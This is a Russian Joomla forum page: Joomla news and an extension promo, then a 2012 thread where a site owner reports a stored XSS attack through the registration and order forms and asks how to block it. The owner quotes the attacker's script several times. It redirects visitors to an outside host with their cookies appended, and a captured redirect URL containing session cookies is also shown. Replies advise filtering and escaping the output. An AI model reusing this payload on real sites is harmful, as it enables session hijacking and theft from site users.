Новости Joomla

Вышли релизы безопасности Joomla 6.1.3 и Joomla 5.4.8

Релиз безопасности Joomla 6.1.3 и Joomla 5.4.8

Проект Joomla! рад сообщить о выходе Joomla 6.1.3 и Joomla 5.4.8. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

👩‍💻 WT Otpravkapochtaru - библиотека сервиса Отправка Почты России для Joomla-разработчиков.

Joomla 5+ пакет для интеграции с API Почты России: нормализация данных, расчёт доставки, создание отправлений, партии, документы, возвраты, поиск отделений, справочники и SOAP-отслеживание.

v.3.0.0. Что нового?
Это дальнейшее развитие ранее закрытой Joomla-библиотеки для работы с API сервиса Отправка (для бизнеса) Почты России. Поэтому версия не 1.0.0, а 3.0.0.

Сейчас эта библиотека ушла от собственных реализаций и стала Joomla-обёрткой известного PHP SDK от Lapay Group.

Возможности библиотеки.
- получение настроек аккаунта, точек сдачи и текущего остатка запросов к API;
- нормализация адресов, ФИО и телефонов перед созданием отправления;
- расчёт тарифа и срока доставки;
- создание, поиск, изменение, удаление и возврат заказов в состояние «Новые»;
- проверка надёжности получателя;
- создание партий, просмотр партий и заказов внутри партии;
- генерация пакета печатных документов и формы Ф103;
- создание, изменение и удаление возвратных отправлений;
- поиск отделений по индексу, адресу и координатам, получение сервисов отделения;
- локальный список стран;
- SOAP-отслеживание операций по РПО и работа с билетами пакетного трекинга.

👩‍💻 Joomla-возможности.
В пакете библиотеки WT Otpravkapochtaru есть поля Joomla Form для расширений. Они позволяют работать в интерфейсе Joomla с некоторыми типами данных, получаемых по API из вашего личного кабинета в ЛК Почты России для бизнеса.
На данный момент в библиотеке доступны 3 поля списков, которые отображают доступные в аккаунте ОПС, типы и категории отправлений.
Поддерживаются зависимые списки: значение одного поля обновляется при изменении другого.

Системные требования.
Системные требования в основном связаны с системными требованиями апстрима библиотеки - LapayGroup PHP SDK.
- Joomla 5+
- PHP 8.3+
- Расширения PHP:
-- ext-mbstring
-- ext-simplexml
-- ext-soap (опционально, для трекинга)
-- ext-zip

Ссылки:
- Страница расширения
- GitHub библиотеки и документация

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 7 Ответов
  • 2276 Просмотров
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Стоит Joomla 1.5.25 русская. Включено мыло нотификации при регистрации нового юзера.
И сегодня такая ситуация приключилась.
Пришло мыло такого содержания:

Новый пользователь зарегистрирован на сайте *****

Параметры учетной записи:

Имя - '">document.location.replace('http://deineka.ho.ua/gc.php?proc='+document.cookie);
e-mail - asdf@af.com
Логин - asdf

Смотрю появился юзер с таким кодоником.
Внешне ничего не снес, но в сайте есть самописный модуль заказов с текстовыми полями, там вредитель ввел такой код:

Название продукта: <b>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></b>
Ссылка на продукт: <a href="\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>" target=_blank>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></a>
Комментарии и пожелания:
\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>

В итоге при входе в заказы, меня перекидывало на данный сайт : http://deineka.ho.ua/gc.php?proc=configuration=system;%20ja_barite_tpl=ja_barite;%20__utma=50448697.909124112.1329591684.1331316799.1331640717.14;%20__utmz=50448697.1329591684.1.1.utmcsr=%28direct%29|utmccn=%28direct%29|utmcmd=%28none%29;%208c146e575de0e2c5c21eec91b78f28f3=9da7a760e7c4766a0467ebfdb09f3913

Удалил через базу заказы и юзера. Все вроде ОК.
Подскажите как не пропускать таких негодяев и код при регистрации.
*

Magnum

  • Захожу иногда
  • 269
  • 14 / 0
  • magnumblog.space
Re: Ввод кода в поле при регистрации
« Ответ #1 : 15.03.2012, 09:37:52 »
Регистрация идет через стандартный модуль Joomla или Virtue?
Я не волшебник. Я всего лишь учусь!
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #2 : 15.03.2012, 12:05:19 »
Стандартный модуль Joomla.
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #3 : 15.03.2012, 12:27:52 »
пароль смените на всякий пожарный =) А так фильтровать надо данные, которые из формы приходят... и при выводе тоже.
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #4 : 15.03.2012, 17:42:13 »
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #5 : 15.03.2012, 18:00:10 »
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
Если я правильно понял, то проблема в заказах, а не в регистрационных данных. Когда заходите в админке в список пользователей - тоже редиректит? Думаю нет. Проблема в вашей самописной форме заказов я думаю.
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #6 : 16.03.2012, 13:24:00 »
Проблема как раз в регистрации. Пропустила код.
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #7 : 27.03.2012, 22:18:07 »
Проблема как раз в регистрации. Пропустила код.
ЧТо значит пропустила код? Она их просто заэскейпила и сохранила в базу. А Вы в своем компоненте заказов вместо того чтобы обрабатывать данные перед выводом хотя бы с помощью htmlspecalchars просто вывели эту строку. Вот и косяк. Без кода точно сказать не могу. Но по описанию картина такая.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Новый набег ботов в регистрации сайта... Какой в этом смысл то?

Автор Cedars

Ответов: 11
Просмотров: 3807
Последний ответ 03.11.2020, 17:36:03
от Cedars
Сайты заражаются каждые 10-15 минут. Как остановить нашествие вредоносного кода?

Автор SweetApple

Ответов: 24
Просмотров: 2808
Последний ответ 16.12.2016, 16:33:38
от SweetApple
Защита от автоматической регистрации

Автор vasileo

Ответов: 0
Просмотров: 1240
Последний ответ 14.12.2016, 05:19:14
от vasileo
После запрета регистрации, все равно регистрируются

Автор rafaello9

Ответов: 2
Просмотров: 1508
Последний ответ 25.11.2016, 17:50:19
от flyingspook
Скажите все функции кода )

Автор wishlight

Ответов: 6
Просмотров: 1618
Последний ответ 22.04.2016, 18:00:55
от wishlight